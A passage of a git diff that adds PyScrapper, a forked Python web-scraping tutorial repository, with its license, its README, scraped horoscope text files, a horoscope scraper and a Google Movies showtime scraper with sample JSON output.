+* Other conduct which could reasonably be considered inappropriate in a
+  professional setting
+
+## Our Responsibilities
+
+Project maintainers are responsible for clarifying the standards of acceptable
+behavior and are expected to take appropriate and fair corrective action in
+response to any instances of unacceptable behavior.
+
+Project maintainers have the right and responsibility to remove, edit, or
+reject comments, commits, code, wiki edits, issues, and other contributions
+that are not aligned to this Code of Conduct, or to ban temporarily or
+permanently any contributor for other behaviors that they deem inappropriate,
+threatening, offensive, or harmful.
+
+## Scope
+
+This Code of Conduct applies both within project spaces and in public spaces
+when an individual is representing the project or its community. Examples of
+representing a project or community include using an official project e-mail
+address, posting via an official social media account, or acting as an appointed
+representative at an online or offline event. Representation of a project may be
+further defined and clarified by project maintainers.
+
+## Enforcement
+
+Instances of abusive, harassing, or otherwise unacceptable behavior may be
+reported by contacting the project team at kent@doddsfamily.us. All
+complaints will be reviewed and investigated and will result in a response that
+is deemed necessary and appropriate to the circumstances. The project team is
+obligated to maintain confidentiality with regard to the reporter of an incident.
+Further details of specific enforcement policies may be posted separately.
+
+Project maintainers who do not follow or enforce the Code of Conduct in good
+faith may face temporary or permanent repercussions as determined by other
+members of the project's leadership.
+
+## Attribution
+
+This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4,
+available at [http://contributor-covenant.org/version/1/4][version]
+
+[homepage]: http://contributor-covenant.org
+[version]: http://contributor-covenant.org/version/1/4/
\ No newline at end of file
diff --git a/pyscrapper/LICENSE b/pyscrapper/LICENSE
new file mode 100644
index 00000000..e2b18c8c
--- /dev/null
+++ b/pyscrapper/LICENSE
@@ -0,0 +1,23 @@
+The MIT License (MIT)
+Copyright (c) 2016 Ivan Nieto <ivan.n.s@tuta.io>
+Fork from:
+    PyScrapper <https://github.com/shivam5992/PyScrapper>
+    Original work by Shivam Bansal <shivam5992@gmail.com>
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
\ No newline at end of file
diff --git a/pyscrapper/README.md b/pyscrapper/README.md
new file mode 100755
index 00000000..43247572
--- /dev/null
+++ b/pyscrapper/README.md
@@ -0,0 +1,106 @@
+PyScrapper
+==========
+
+[![Project Status: WIP – Initial development is in progress, but there has not yet been a stable, usable release suitable for the public.](http://www.repostatus.org/badges/latest/wip.svg)](https://github.com/ivannieto/PyScrapper)
+[![Packagist](https://img.shields.io/packagist/l/doctrine/orm.svg?maxAge=2592000)](https://github.com/ivannieto/PyScrapper/blob/master/LICENSE)
+[![Twitter URL](https://img.shields.io/twitter/url/http/shields.io.svg?style=social&maxAge=2592000)](https://twitter.com/intent/tweet?text=Wanna%20learn%20to%20scrap%20websites?%20Check%20PyScrapper%20&url=https%3A%2F%2Fgithub.com%2Fivannieto%2FPyScrapper%2F%20%23python%20%23scrapping)
+[![Twitter Follow](https://img.shields.io/twitter/follow/shields_io.svg?style=social&label=Follow&maxAge=2592000)](https://twitter.com/IvanNietoS)
+
+
+
+##### WIP DISCLAIMER
+
+Some of the projects inside this repo are broken due to updates on the websites used, 
+so they are being reworked to be fully functional. Contributions are welcome. Just fork the repo and pull request your updates.
+
+### Web Scrapping series in python.
+
+Forked and mantained by Ivan Nieto <ivan.n.s@tuta.io> 
+
+Original work by Shivam Bansal <shivam5992@gmail.com>
+
+
+## Module dependencies:
+
+mechanize, BeautifulSoup (for Python 2.x) | bs4 (for Python 3.x), json, re, requests, urlparse, urllib
+
+        pip install <module_name>
+
+# Projects
+
+#### Google Movies
+
+        Script to scrap google movies, retrieving a list of theaters, their address, movies list, 
+        movies genere and showtimes for a given location. 
+             
+        This script outputs a JSON file with the response. 
+
+#### Zomato Top Restaurants
+	
+        Script to scrap the top 25 trending restaurants with their rank, rating, details... 
+        for the mentioned cities on the zomato.com website.
+        
+        It outputs a separate JSON response for each city.
+
+
+#### Finance and Stock
+	
+        Scrapping the last closing price for all the quotes from various sites 
+        like google, yahoo, bloomberg etc
+
+#### Live Weather
+
+        Scrap the weather details for morning, afternoon and night time for a particular website.
+
+#### Daily Horoscope
+	
+        Scrapping the daily horoscope details for each sign and creating the output as text files. 
+        Multiple websites are scrapped to get the details.
+
+#### Train Details
+
+        Scrap the details of train from irctc by inputting train number.
+
+#### Website Top Keywords
+	
+        Create a list of most occured words in a website.
+        Also counts thier frequency.
+
+#### News Scrapping
+
+        Scrap the news from various news sources.
+
+#### Alexa Top Websites
+	
+        Get the list of top 25 websites of a country.
+
+#### Movie Details
+
+        Get the movie details from IMDB and RottenTomatoes.
+
+#### US President State of Union Speech
+	
+        Scrap the speech transcripts of all Us Presidents from 1700 to Present.
+
+#### Spider Algorithm
+
+        Spider algorithm is a typical web scrapping technique to fetch all urls (etc) of a webpage.
+        By all means, even those urls which are not part of the requested page. 
+        It fetches all urls of current urls as well.
+        Implemented using two ways, one normal and second using mechanize.
+
+
+## Rework ToDo
+
+- [x] Google Movies
+- [ ] Zomato Top Restaurants
+- [ ] Finance and Stock
+- [ ] Live Weather
+- [ ] Daily Horoscope
+- [ ] Train Details
+- [ ] Website Top Keywords
+- [x] News Scrapping
+- [ ] Alexa Top Websites
+- [ ] Movie Details
+- [ ] US President State of Union Speech
+- [ ] Spider Algorithm
\ No newline at end of file
diff --git a/pyscrapper/daily_horoscope/daily_horoscope/aquarius.txt b/pyscrapper/daily_horoscope/daily_horoscope/aquarius.txt
new file mode 100755
index 00000000..7f94832d
--- /dev/null
+++ b/pyscrapper/daily_horoscope/daily_horoscope/aquarius.txt
@@ -0,0 +1 @@
+You might have an argument with your loved one, who will remonstrate you for your lack of affection and for dedicating too much time to business. You are advised to moderate your drive for making more money, and pay more attention to people close to you. You may want to rest more and forget about your daily concerns for a while. A victory is in sight, Aquarius, but don't count your chickens before they're hatched. Reward may come in a slow and measured way rather than as an overnight success. Unless you have cash in your account or signed paperwork, hold off on spending money or time. Put your energy towards something that IS a done deal. A man you adore may be feeling neglected. Have you left him hanging in your quest for this Holy Grail? Do some damage control today to ensure that he doesn't slip out of your life.You might feel as if you're running out of time, but there are so many more things to finish today. Fortunately, you're driven to get as much done as possible and there's not much that will stop your momentum now. However, you still may believe that you're not receiving all the support you deserve from those who could be of service. Don't play the role of a victim; no matter what resistance you run into, keep pushing your ideas forward. Persistence is your friend.You stumble into something new and weird and kind of wonderful, probably fairly early in the day. You may find that people are more willing to let you have your way if you ask nicely.
\ No newline at end of file
diff --git a/pyscrapper/daily_horoscope/daily_horoscope/aries.txt b/pyscrapper/daily_horoscope/daily_horoscope/aries.txt
new file mode 100755
index 00000000..2e90d2dd
--- /dev/null
+++ b/pyscrapper/daily_horoscope/daily_horoscope/aries.txt
@@ -0,0 +1 @@
+You are advised not to get involved in business activities today, for unexpected events may occur. You may learn about the bad health condition of a close relative. You will have to make several short trips and spend a lot of money. If you don't have enough money, you can ask your friends for help. Individualist Aries, on the average day you prefer well-defined personal space and boundaries. Today is different. A moon-Neptune trine softens your restrictions and may even blur a few lines. Head's up: there's a quality of fantasy involved in today's events, which makes them more ephemeral than permanent. Lose yourself in today's fascinations but don't compromise your values or flake on any commitments that you've already made to other people.Thinking about ways to improve a current relationship today won't necessarily make it any better, but it might be a great first step. Finding a course of action may seem hopeless when you consider all the work you must do to reach your goals and get what you want. Don't be so hard on yourself or someone you love; instead, try revising your expectations. You could be closer to satisfaction than you realize if you simply shift your attitude.You are feeling the holiday spirit still -- so get out there and volunteer, or at least lift the spirits of someone close who's got the blues. The karma you earn is just the icing on the cake!
\ No newline at end of file
diff --git a/pyscrapper/daily_horoscope/daily_horoscope/cancer.txt b/pyscrapper/daily_horoscope/daily_horoscope/cancer.txt
new file mode 100755
index 00000000..86040d2e
--- /dev/null
+++ b/pyscrapper/daily_horoscope/daily_horoscope/cancer.txt
@@ -0,0 +1 @@
+You will be making preparations to leave on a short vacation. Consider the advice offered by an older person in the family! In the evening you will be invited to a party. You are advised to decline the invitation, for you must be fresh tommorow morning. Check your luggage and papers thoroughly! Today, feel free to make mountains out of molehills, Cancer. A flamboyant trine between the moon and Neptune fuels the day with fantasy and excitement. You're the Pied Piper among your friends; the person who ratchets the average experience up to a higher altitude so that everyone is clamoring to join in. Whether you're hosting a game night or setting the itinerary for an epic night on the town (costumes optional), you're in command of the fun factor, Cancer. Don't let the naysayers rain on your parade! With a little coaxing, they'll let their hair down too.Naturally, you want to put your best foot forward today, but some things are not as rosy as they appear. Unfortunately, you could channel so much of your energy into presenting a cheerful face that you end up exhausting yourself trying to look good. Keeping up appearances is just not worth the effort if you end up so depleted that you can't enjoy yourself later on. Happily, you don't have to pretend for everyone; your true friends will accept you just the way you are.Take it in stride when things start to get prickly this morning. Remember that it's not about you, and you may find that you are the best one suited to restore domestic bliss. It may take a while!
\ No newline at end of file
diff --git a/pyscrapper/daily_horoscope/daily_horoscope/capricorn.txt b/pyscrapper/daily_horoscope/daily_horoscope/capricorn.txt
new file mode 100755
index 00000000..a406bd13
--- /dev/null
+++ b/pyscrapper/daily_horoscope/daily_horoscope/capricorn.txt
@@ -0,0 +1 @@
+The failure of a business project could upset you and make you irrascible. Don't take your nerves out on your family! You'd better try and find the real reason of your failure. You are advised to remain calm and consider your loved one's suggestions. You will manage to relax in the afternoon, during a meeting with friends. It's a five-star day for your social life, Capricorn, thanks to an easy trine between the moon and Neptune. Summon your community spirit and go dabble in activities that intrigue you. You'll blend seamlessly into most any group, as today you're far more flexible than usual. Unless you've thought it through, however, wait a week or so before filling out the official membership paperwork. This interest may be fleeting, but it's not a waste of time. You'll grow from the experience.Projecting your vision into the distant future may be your idea of excitement now that the Moon is visiting your 11th House of Hopes and Dreams. You're ready to shift your energy to a higher vibration, but an obstacle may arrive in the form of someone who rains on your parade. Thankfully, extra hard work on your part could loosen Saturn's current rigid hold on you. Planning time is over; roll up your sleeves and get busy.You've got to start something new -- it could be anything. Your energy is a little unstable right now, which can be terrific for discovering new aspects of yourself or even making big moves.
\ No newline at end of file
diff --git a/pyscrapper/daily_horoscope/daily_horoscope/gemini.txt b/pyscrapper/daily_horoscope/daily_horoscope/gemini.txt
new file mode 100755
index 00000000..26a1c8ea
--- /dev/null
+++ b/pyscrapper/daily_horoscope/daily_horoscope/gemini.txt
@@ -0,0 +1 @@
+Your communication skills could be low today, and your love life and social contacts might be affected. You could feel tired and in no mood to meet with friends. You might even be reluctant about going out with your loved one. Don't avoid any communication, if you don't want to be misunderstood! With an easy trine between the moon and Neptune, this day has &#x201C;winning!&#x201D; all over it. You'll end the workweek with a feather in your cap and a round of high-fives to boot. Celebrate the milestone but don't kick your feet up just yet. There are a few more milestones to conquer before you can do your final victory dance. Remain humble and gracious. Rubbing a competitor's nose in your success could provoke an epic battle. Tonight, it's A-list or bust. Get your name on the list for an elite event where you can mingle with fellow movers and shakers.There's always room for improvement in your diet and exercise program, but it may be tricky to sustain a new routine now. Nothing is as simple as it should be when self-discipline is involved. You could run into unexpected problems when attempting to make time to attend to your needs. Fortunately, there's no logical reason to struggle; rather than working yourself into a state of frustration by trying to do too much too fast, scale back and simplify your approach. Everything seems easier when you're relaxed and in the zone.Your romantic side is starting to heat up, and it's a really good time for you to either woo your sweetie all over again or start looking for someone if you're single. You can't go wrong!
\ No newline at end of file
diff --git a/pyscrapper/daily_horoscope/daily_horoscope/leo.txt b/pyscrapper/daily_horoscope/daily_horoscope/leo.txt
new file mode 100755
index 00000000..19ef00db
--- /dev/null
+++ b/pyscrapper/daily_horoscope/daily_horoscope/leo.txt
@@ -0,0 +1 @@
+You will be successful in domestic activities. If you intend to leave on a trip, you are advised to postpone it, for you are prone to accidents. You are advised to rely on intuition and keep going your way, no matter what others are saying. Smile and the whole world smiles with you. Today, your moods are potent, Leo, so be responsible for the impact you have on a room. Sorry, Leo: you can't just skulk around the perimeter or brood in the corner. You're far too influential a person for that. By the same token, don't force yourself to put on a happy face. Some private counsel from your go-to supporters may be necessary to cheer you up. So what if it's a Friday night. You might need to stay in and vent or cry on someone's shoulder&#x2014;at least for a little while before changing into your party frocks.Opening windows of opportunities for other people has become somewhat of a recent pastime as you advise them how to take advantage of the current circumstances. Although they may succeed with their endeavors, it's harder to see potential in your own life because some things seem more complicated than they once were. You don't have time to waste, so set aside any self-doubt. Instead, aim your sites on a realistic target and get to work.You are at your best in combination with others, so make the most of your great social energy and see what happens. You may stop a fight or bring together two people who really need each other.
\ No newline at end of file
diff --git a/pyscrapper/daily_horoscope/daily_horoscope/libra.txt b/pyscrapper/daily_horoscope/daily_horoscope/libra.txt
new file mode 100755
index 00000000..e1a42fc1
--- /dev/null
+++ b/pyscrapper/daily_horoscope/daily_horoscope/libra.txt
@@ -0,0 +1 @@
+You will be very busy before noon, dealing with urgent business matters. You may tend to neglect your family. In the afternoon there may be tensions at home, but everything will come back to normal in the evening. You are advised to remain calm and pay due attention to your need for rest. Measure once, cut twice. Although you love everything custom tailored, how can you make life easier by systematizing a bit? Certain tasks and projects don't require such a high level of detail and perfectionism. Choose your battles, Libra. Perhaps it's time to follow the rule of KISS: keep it simple, sweetheart. The same holds true for your social style. If you're cramming to get one-on-ones in your calendar, try grouping friends into smaller hangouts. A party of five can be even more entertaining than a table for two tonight.One moment, it seems as if all systems are go; but just a few minutes later, your plans must be placed on hold. You may be overwhelmed by the mixed cosmic signals you are receiving today. Although you're tempted to react impulsively and try to fix everything that's wrong, this approach is a mistake. Instead, make a list by considering which changes are the most sensible, but then wait to see what improves on its own before intervening. Cultivating patience might be your best solution yet.You're getting plenty of attention -- and it's the right kind, too! If you're looking for love, now might be the time to act on it. If not, you should tell your sweetie how you really feel.
\ No newline at end of file
diff --git a/pyscrapper/daily_horoscope/daily_horoscope/pisces.txt b/pyscrapper/daily_horoscope/daily_horoscope/pisces.txt
new file mode 100755
index 00000000..4879d91a
--- /dev/null
+++ b/pyscrapper/daily_horoscope/daily_horoscope/pisces.txt
@@ -0,0 +1 @@
+You might misunderstand the initiatives of a business partner and start a fight. Try to talk everything over calmly, or you may end up breaking the partnership! A close friend will visit you in the afternoon and will help you overcome all difficulties. Life feels full of limitless possibilities today, thanks to an expansive trine between the moon and Neptune. Stretch outside of your comfort zone, literally or figuratively. The stars are aligned for an overnight getaway, perhaps one with a sporty component. Toss some clothes into a weekender bag and go visit your friends with the ski house share. If you're sticking around town make an added point of talking to strangers. Your accessible energy could lead to a fateful friendship or spicy romantic interlude.Your desire to go on an adventure may be overshadowing more pressing obligations, but your dreams could still crash into the reality of your previous work commitments. Even if you think you can juggle your schedule and make everything fall into place, it grows more apparent today that your escape route is blocked for some inexplicable reason. But don't overreact by just canceling your plans because the outlook could change in a moment's notice. Wait for the energy to shift before deciding what to do next.The new year comes a little early for you today as you find yourself clearing out the old to make room for the new. This head-start may give you the leverage you need to take the 2014 by storm!
\ No newline at end of file
diff --git a/pyscrapper/daily_horoscope/daily_horoscope/sagittarius.txt b/pyscrapper/daily_horoscope/daily_horoscope/sagittarius.txt
new file mode 100755
index 00000000..34a11c57
--- /dev/null
+++ b/pyscrapper/daily_horoscope/daily_horoscope/sagittarius.txt
@@ -0,0 +1 @@
+You will manage to complete an important project and will already start thinking about a new one. Your family might feel upset with your plans. You are advised to shorten the long working hours. You may want to pay more attention to your loved ones. You don't want to upset your significant other, do you. Red flags? Your rose-colored glasses could screen them out today, thanks to a moon-Neptune trine. That ability to see the best in people is a beautiful thing, Sagittarius, but don't let this blind you to their flaws and human foibles. At the end of the day, no mere mortal should be vaulted up on the pedestal. Let relationships unfold organically with an understanding that even the best people out there have a shadow side. The question really is: can you love them for better AND for worse?Today you are caught between your desire to inform people of the facts they are missing and your duty to remain quiet and do as you are told. Sometimes life seems difficult because you think you know more than you should. Becoming a whistleblower may be the morally correct action, but it might also make life more stressful on the job. Do what it takes to thrive, yet keep in mind that harsh practicality can outweigh even your most altruistic ideals.Your sense of justice may be offended at first today, but you can bring the situation back into balance if you are direct and speak plainly to the right people. Keep pushing for what you believe!
\ No newline at end of file
diff --git a/pyscrapper/daily_horoscope/daily_horoscope/scorpio.txt b/pyscrapper/daily_horoscope/daily_horoscope/scorpio.txt
new file mode 100755
index 00000000..8d4f68a4
--- /dev/null
+++ b/pyscrapper/daily_horoscope/daily_horoscope/scorpio.txt
@@ -0,0 +1 @@
+In the morning you might experience a health problem and have to change your schedule. In the afternoon you may receive a piece of news regarding an inheritance. Don't start making future plans until you have actually received the money! Bigger, stronger, faster. Today, you want everything supersized&#x2026;and delivered at a supersonic speed. There's nothing wrong with having a healthy appetite for life, Scorpio; just check any diva energy at the door. You could alienate people and even make a few frenemies today if you are too demanding or supercilious. As any Queen Bee worth her salt knows, you'll catch more flies with honey. Present your wishes gracefully and not only will you get your way, but you'll earn the loyalty and respect of some new admirers.Understanding why others don't trust you enough to support your ideas today might be a challenge, even if you are quite optimistic about the outcome. Ironically, it may actually be your over-the-top confidence now that can put some people off because they think you're hiding your fears and doubts. Even if it's not comfortable at first, it's still better to be honest about your strengths and limitations right from the start.Your subconscious mind is driving you in some strange directions today -- but that's going to end up being positive! Try to get your people to follow your lead, even if they're exhausted.
\ No newline at end of file
diff --git a/pyscrapper/daily_horoscope/daily_horoscope/taurus.txt b/pyscrapper/daily_horoscope/daily_horoscope/taurus.txt
new file mode 100755
index 00000000..240c68d4
--- /dev/null
+++ b/pyscrapper/daily_horoscope/daily_horoscope/taurus.txt
@@ -0,0 +1 @@
+Friends might invite you to spend the afternoon together. The relationship with your loved one could become tense because of your differences over the time to return home. You will tend to act on impulse. Try to be more understanding! Invite a new friend to tag along with your go-to group today, Taurus. A flowy trine between the moon and Neptune ensures that everyone will get along swimmingly. Be prepared: your fresh recruit could form independent relationships with the friends you introduce her to. Think twice about playing connector if this thought strikes fear in your heart. And if it does, perhaps this is not the right person to bring into the fold. Pick someone who you'd happily shuttle off with any of your besties.You may have to clean up an emotional mess left over from an interaction with a difficult person yesterday. However, you might be puzzled by the apparent lack of progress today. Be careful about making assumptions because productivity isn't always measured by what happens on the surface. You are processing changes in small ways even if you are unaware of it, so don't be too concerned if you seem to have stalled for no reason. Just keep your eyes on the prize and be as kind as possible to everyone involved.Your interest in cultural material is heightened today, so explore different ways of seeing the world, and try to draw your family into your pursuit. Things should flow naturally from there.
\ No newline at end of file
diff --git a/pyscrapper/daily_horoscope/daily_horoscope/virgo.txt b/pyscrapper/daily_horoscope/daily_horoscope/virgo.txt
new file mode 100755
index 00000000..e9370ba8
--- /dev/null
+++ b/pyscrapper/daily_horoscope/daily_horoscope/virgo.txt
@@ -0,0 +1 @@
+With an improved budget, you intend to leave on a trip and pay a visit to relatives. Before you leave, you'd better check whether you will find them at home! In the afternoon you could experience minor health problems. Don't worry! It's nothing a short diet can't fix. You will feel much better tomorrow. Someone's been clamoring for your attention, Virgo. Slow down and stop missing those obvious clues and cues. People don't persistently show up to spend time with you unless they're at least a little bit interested in getting to know you better&#x2014;or what's more likely the case, burning with desire for you. If you're already spoken for, a conversation may be needed to clear up any blurred lines. Refusing to address the attraction is a bit like playing Russian roulette with the relationship. Speak now and stop a runaway love train in its tracks.Your intuition may lead you to the conclusion that you will soon be encountering complex situations involving others. However, you aren't ready to turn your life upside down yet. In fact, you might try to minimize your current frustration by avoiding meaningful discussions about issues that have no immediate solutions. Unfortunately, this delaying tactic won't necessarily work now. Thankfully, you can still delve into a relationship dilemma without making matters worse as long as you postpone any long-lasting decisions until after the new year.Reflect on your values and what they mean to you -- and to others. Your mental energy turns inward somewhat today, and that's a good thing. You may have an important epiphany tonight.
\ No newline at end of file
diff --git a/pyscrapper/daily_horoscope/script.py b/pyscrapper/daily_horoscope/script.py
new file mode 100755
index 00000000..e3d7183b
--- /dev/null
+++ b/pyscrapper/daily_horoscope/script.py
@@ -0,0 +1,51 @@
+'''
+Class to scrap the daily horoscope details for each sign and write the 
+response in text files. The horoscope is scraped from five various websites
+'''
+
+import urllib
+
+from BeautifulSoup import BeautifulSoup
+
+
+class horoscope:
+	
+	'''
+	Function which scrap the text from various websites.
+	'''	
+	def scrap(self):
+		signs = ["Aries","Taurus","Gemini","Cancer","Leo","Virgo","Libra","Scorpio","Sagittarius","Capricorn","Aquarius","Pisces"]
+		for sign in signs:
+			sign = sign.lower()
+			url1 = "http://www.eastrolog.com/free-daily-horoscopes/" + sign +"-horoscope-today.php"
+			url2 = "http://www.elle.com/horoscopes/daily/" + sign +"-daily-horoscope"
+			url3 = "http://www.tarot.com/daily-horoscope/" + sign
+			url4 = "http://shine.yahoo.com/horoscope/" + sign + "/"
+
+			urllist = [url1,url2,url3,url4]
+			article = ""
+
+			for url in urllist:					
+				htmltext = urllib.urlopen(url)
+				soup = BeautifulSoup(htmltext)
+
+				if url == url1:
+					for p in soup.findAll("p",attrs = {"class":"horoscope"}):
+						if p.string is not None:
+							article += str(p.string)
+
+				elif url == url2:
+					article += str(soup.find("div",attrs = {"class":"body bodySign"}).text).replace("&#x2019;","'")
+
+				elif url == url3:
+					article += soup.find("div",attrs={"class":"horoscope-copy"}).p.string
+
+				elif url == url4:
+					article += soup.find("div",attrs={"class":"astro-tab-body"}).text
+
+			f = open("daily_horoscope/" + sign + ".txt",'w')
+			f.write(article)
+
+if __name__ == "__main__":
+	o = horoscope()
+	o.scrap()
\ No newline at end of file
diff --git a/pyscrapper/google_movies/google_movies.py b/pyscrapper/google_movies/google_movies.py
new file mode 100755
index 00000000..60db82e1
--- /dev/null
+++ b/pyscrapper/google_movies/google_movies.py
@@ -0,0 +1,224 @@
+#!/usr/bin/python
+# encoding=utf-8
+
+'''
+Python Class to scrap google movies show times according to a given location.
+This script outputs list of theaters, their address, movies list, movies genere and showtimes.
+'''
+
+from pprint import pprint
+import re
+from bs4 import BeautifulSoup
+import json
+import requests
+
+outputjson = open("out/response.json", "w")
+
+# Python class to scrap Google Movies webpage.
+# webpage : www.google.com/movies
+
+class google_movie_scrapper:
+    # Constructor for google_movie_scrapper class
+    def __init__(self, city):
+
+        self.city = city
+
+        if city is "":
+            url = "http://www.google.com/movies"
+        else:
+            url = "http://www.google.com/movies?near=" + city
+
+        req = requests.get(url)
+        textohtml = req.text
+        self.soup = BeautifulSoup(textohtml, "lxml")
+
+    # Function which scraps the movies, theaters, address, generes and showtimes.
+    # Returns a list of dictionaries.
+    def scrap(self):
+        soup_object = self.soup
+        output = []
+
+        for theater in soup_object.findAll("div", {"class": re.compile("theater")}):
+            resp = {}
+            resp['theater'] = theater.find("a").contents[0]
+            resp['address'] = theater.find("div", {"class": re.compile("info")}).contents[0]
+
+            movie_list = []
+            for movie in theater.find("div", {"class": re.compile("showtimes")}).findAll("div", {
+                "class": re.compile("movie")}):
+                dict = {}
+                dict['movie_name'] = movie.a.string
+                dict['genere'] = movie.find("span", {"class": re.compile("info")}).contents[0]
+
+                show_timings_list = []
+                for time in movie.findAll("div", {"class": re.compile("times")})[0].findAll("span"):
+                    time_string = re.sub('[^a-z0-9:\n\.]', ' ', str(time.text)).replace("8206", "").replace("nbsp",
+                                                                                                            "").strip()
+                    if time_string is not "":
+                        show_timings_list.append(time_string)
+
+                dict['showtimes'] = show_timings_list
+                movie_list.append(dict)
+                resp['movieslist'] = movie_list
+            output.append(resp)
+        return output
+
+
+# Printing the output
+if __name__ == '__main__':
+
+    # Setting 'city' param as valid name of location is optional.
+    # If not set then default location is used by this script.
+    city = "Madrid"
+
+    obj = google_movie_scrapper(city)
+    output = obj.scrap()
+
+    # Printing the list
+    pprint(output)
+
+    # Writing response to json file prettified
+    jsondump = json.dumps(output, indent=4, ensure_ascii=False).encode('utf8')
+    outputjson.write(jsondump)
+
+    # Printing STDOUT using response
+    print("*" * 35)
+    print("Response for: ")
+    print(obj.city)
+    print("*" * 35)
+
+    for i, j in enumerate(output):
+        print("\n")
+        print("*" * 35)
+        print("\nMovies and showtimes for:")
+        print(output[i]['theater'])
+        print(output[i]['address'])
+        print("\n")
+
+        for x, y in enumerate(output[i]['movieslist']):
+            print(y['movie_name'])
+            print(y['genere'])
+            print(y['showtimes'])
+            print("-" * 100)
+
+
+            # RESPONSE Format:
+
+            # The output list is returned in Unicode codification
+
+            # [
+            # [...]
+            # [{'address': u'C/ DOCTOR CORTEZO, 6, Madrid, Spain - 913 69 06 69',
+            #   'movieslist': [{'genere': u'1hr 37min',
+            #                   'movie_name': u'Cuerpo de \xe9lite',
+            #                   'showtimes': ['18:20', '22:50']},
+            #                  {'genere': u'1hr 46min',
+            #                   'movie_name': u'Lejos del mar',
+            #                   'showtimes': ['19:40', '21:55']},
+            #                  {'genere': u'1hr 36min',
+            #                   'movie_name': u'Caf\xe9 society V.O.S.E.',
+            #                   'showtimes': ['16:30', '18:30', '20:35', '22:35']},
+            #                  {'genere': u'2hr 9min',
+            #                   'movie_name': u'Ben-Hur (2016) V.O.S.E.',
+            #                   'showtimes': ['17:00', '19:30', '22:00']},
+            #                  {'genere': u'1hr 28min',
+            #                   'movie_name': u'No respires V.O.S.E.',
+            #                   'showtimes': ['16:10', '18:10', '20:10', '22:10']},
+            #                  {'genere': u'1hr 50min',
+            #                   'movie_name': u'Los visitantes la l\xedan V.O.S.E.',
+            #                   'showtimes': ['16:00', '18:15', '20:30', '22:45']},
+            #                  {'genere': u'1hr 26min',
+            #                   'movie_name': u'Mascotas V.O.S.E.',
+            #                   'showtimes': ['16:05', '18:00', '19:55']},
+            #                  {'genere': u'1hr 42min',
+            #                   'movie_name': u'Kubo y las dos cuerdas m\xe1gicas V.O.S.E.',
+            #                   'showtimes': ['16:00', '18:05', '20:15']},
+            #                  {'genere': u'1hr 40min',
+            #                   'movie_name': u'Star Trek: M\xe1s all\xe1 V.O.S.E.',
+            #                   'showtimes': ['19:15', '21:45']},
+            #                  {'genere': u'2hr 10min',
+            #                   'movie_name': u'Escuadr\xf3n suicida V.O.S.E.',
+            #                   'showtimes': ['17:15', '21:50']},
+            #                  {'genere': u'1hr 56min',
+            #                   'movie_name': u'Cazafantasmas V.O.S.E.',
+            #                   'showtimes': ['16:45', '22:20']},
+            #                  {'genere': u'1hr 43min',
+            #                   'movie_name': u'Peter y el drag\xf3n V.O.S.E.',
+            #                   'showtimes': ['16:05']},
+            #                  {'genere': u'2hr 0min',
+            #                   'movie_name': u'Jason Bourne V.O.S.E.',
+            #                   'showtimes': ['20:20']}],
+            #   'theater': u'YELMO CINES IDEAL'},
+            # [...]
+            #
+            # ]
+
+
+            # [...]
+            # ***********************************
+            # Response for:
+            # Madrid
+            # ***********************************
+            #
+            #
+            # ***********************************
+            #
+            # Movies and showtimes for:
+            # YELMO CINES IDEAL
+            # C/ DOCTOR CORTEZO, 6, Madrid, Spain - 913 69 06 69
+            #
+            #
+            # Cuerpo de élite
+            # 1hr 37min
+            # ['18:20', '22:50']
+            # ----------------------------------------------------------------------------------------------------
+            # Lejos del mar
+            # 1hr 46min
+            # ['19:40', '21:55']
+            # ----------------------------------------------------------------------------------------------------
+            # Café society V.O.S.E.
+            # 1hr 36min
+            # ['16:30', '18:30', '20:35', '22:35']
+            # ----------------------------------------------------------------------------------------------------
+            # Ben-Hur (2016) V.O.S.E.
+            # 2hr 9min
+            # ['17:00', '19:30', '22:00']
+            # ----------------------------------------------------------------------------------------------------
+            # No respires V.O.S.E.
+            # 1hr 28min
+            # ['16:10', '18:10', '20:10', '22:10']
+            # ----------------------------------------------------------------------------------------------------
+            # Los visitantes la lían V.O.S.E.
+            # 1hr 50min
+            # ['16:00', '18:15', '20:30', '22:45']
+            # ----------------------------------------------------------------------------------------------------
+            # Mascotas V.O.S.E.
+            # 1hr 26min
+            # ['16:05', '18:00', '19:55']
+            # ----------------------------------------------------------------------------------------------------
+            # Kubo y las dos cuerdas mágicas V.O.S.E.
+            # 1hr 42min
+            # ['16:00', '18:05', '20:15']
+            # ----------------------------------------------------------------------------------------------------
+            # Star Trek: Más allá V.O.S.E.
+            # 1hr 40min
+            # ['19:15', '21:45']
+            # ----------------------------------------------------------------------------------------------------
+            # Escuadrón suicida V.O.S.E.
+            # 2hr 10min
+            # ['17:15', '21:50']
+            # ----------------------------------------------------------------------------------------------------
+            # Cazafantasmas V.O.S.E.
+            # 1hr 56min
+            # ['16:45', '22:20']
+            # ----------------------------------------------------------------------------------------------------
+            # Peter y el dragón V.O.S.E.
+            # 1hr 43min
+            # ['16:05']
+            # ----------------------------------------------------------------------------------------------------
+            # Jason Bourne V.O.S.E.
+            # 2hr 0min
+            # ['20:20']
+            # ----------------------------------------------------------------------------------------------------
+            # [...]
+            #
diff --git a/pyscrapper/google_movies/out/response.json b/pyscrapper/google_movies/out/response.json
new file mode 100755
index 00000000..c6797f89
--- /dev/null
+++ b/pyscrapper/google_movies/out/response.json
@@ -0,0 +1,1274 @@
+[
+  {
+    "movieslist": [
+      {
+        "showtimes": [
+          "18:20",
+          "22:50"
+        ],
+        "movie_name": "Cuerpo de élite",
+        "genere": "1hr 37min"
+      },
+      {
+        "showtimes": [
+          "19:40",
+          "21:55"
+        ],
+        "movie_name": "Lejos del mar",
+        "genere": "1hr 46min"
